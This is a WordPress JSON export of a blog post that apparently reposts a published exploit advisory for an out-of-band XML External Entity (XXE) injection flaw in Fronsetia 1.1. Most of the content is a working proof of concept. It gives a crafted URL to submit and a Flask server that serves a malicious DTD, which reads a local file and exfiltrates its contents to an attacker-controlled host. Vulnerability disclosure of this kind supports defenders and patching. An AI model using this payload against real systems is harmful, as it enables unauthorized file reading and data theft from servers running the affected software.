{"id":60446,"date":"2024-11-23T00:22:18","date_gmt":"2024-11-22T21:22:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182763\/fronsetia11-xml.txt"},"modified":"2024-11-23T00:22:18","modified_gmt":"2024-11-22T21:22:18","slug":"fronsetia-1-1-xml-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/fronsetia-1-1-xml-injection\/","title":{"rendered":"fronsetia 1.1 XML Injection"},"content":{"rendered":"<p># Exploit Title: XXE OOB &#8211; fronsetiav1.1<br \/># Date: 11\/2024<br \/># Exploit Author: Andrey Stoykov<br \/># Version: 1.1<br \/># Tested on: Debian 12<br \/># Blog:<br \/>https:\/\/msecureltd.blogspot.com\/2024\/11\/friday-fun-pentest-series-15-oob-xxe.html<\/p>\n<p>XXE OOB<\/p>\n<p>Description:<\/p>\n<p>&#8211; It was found that the application was vulnerable XXE (XML External Entity<br \/>Injection)<\/p>\n<p>Steps to Reproduce:<\/p>\n<p>1. Add Python3 server to serve malicious XXE payload<br \/>2. Add a file on the file system to be read via the application XXE payload<br \/>echo 123123 &gt; \/tmp\/123<br \/>3. Enter the following URL as input<br \/>http:\/\/192.168.78.128:8080\/fronsetia\/show_operations.jsp?Fronsetia_WSDL=http:\/\/192.168.78.1:10000\/testxxeService?wsdl<\/p>\n<p>\/\/ Python Server Code<\/p>\n<p>from flask import Flask, Response, request<br \/>import logging<\/p>\n<p>app = Flask(__name__)<\/p>\n<p># Set up logging<br \/>logging.basicConfig(level=logging.DEBUG)<\/p>\n<p>@app.route(&#8216;\/testxxeService&#8217;, defaults={&#8216;path&#8217;: &#8221;})<br \/>def catch_all(path):<br \/>app.logger.debug(&#8220;Serving XXE payload&#8221;)<br \/>xml = &#8220;&#8221;&#8221;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8221;?&gt;<br \/>&lt;!DOCTYPE data [<br \/>&lt;!ENTITY % dtd SYSTEM &#8220;http:\/\/ 192.168.78.1:10000\/data.dtd&#8221;&gt; %dtd;<br \/>]&gt;<br \/>&lt;data&gt;&amp;send;&lt;\/data&gt;&#8221;&#8221;&#8221;<br \/>return Response(xml, mimetype=&#8217;text\/xml&#8217;, status=200)<\/p>\n<p>@app.route(&#8216;\/data.dtd&#8217;, defaults={&#8216;path&#8217;: &#8221;})<br \/>def hello(path):<br \/>app.logger.debug(&#8220;DTD requested&#8221;)<br \/>xml = &#8220;&#8221;&#8221;&lt;!ENTITY % file SYSTEM &#8220;file:\/\/\/tmp\/123&#8221;&gt;<br \/>&lt;!ENTITY % eval &#8220;&lt;!ENTITY % exfil SYSTEM &#8216;<br \/>http:\/\/192.168.78.1:8000\/?content=%file;&#8217;&gt;&#8221;&gt;<br \/>%eval;<br \/>%exfil;&#8221;&#8221;&#8221;<br \/>return Response(xml, mimetype=&#8217;text\/xml&#8217;, status=200)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>app.run(host=&#8217;0.0.0.0&#8242;, port=10000)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: XXE OOB &#8211; fronsetiav1.1# Date: 11\/2024# Exploit Author: Andrey Stoykov# Version: 1.1# Tested on: Debian 12# Blog:https:\/\/msecureltd.blogspot.com\/2024\/11\/friday-fun-pentest-series-15-oob-xxe.html XXE OOB Description: &#8211; It was found that the application was vulnerable XXE (XML External EntityInjection) Steps to Reproduce: 1. Add Python3 server to serve malicious XXE payload2. Add a file on the file system &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60446","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60446","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60446"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60446\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60446"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60446"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60446"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}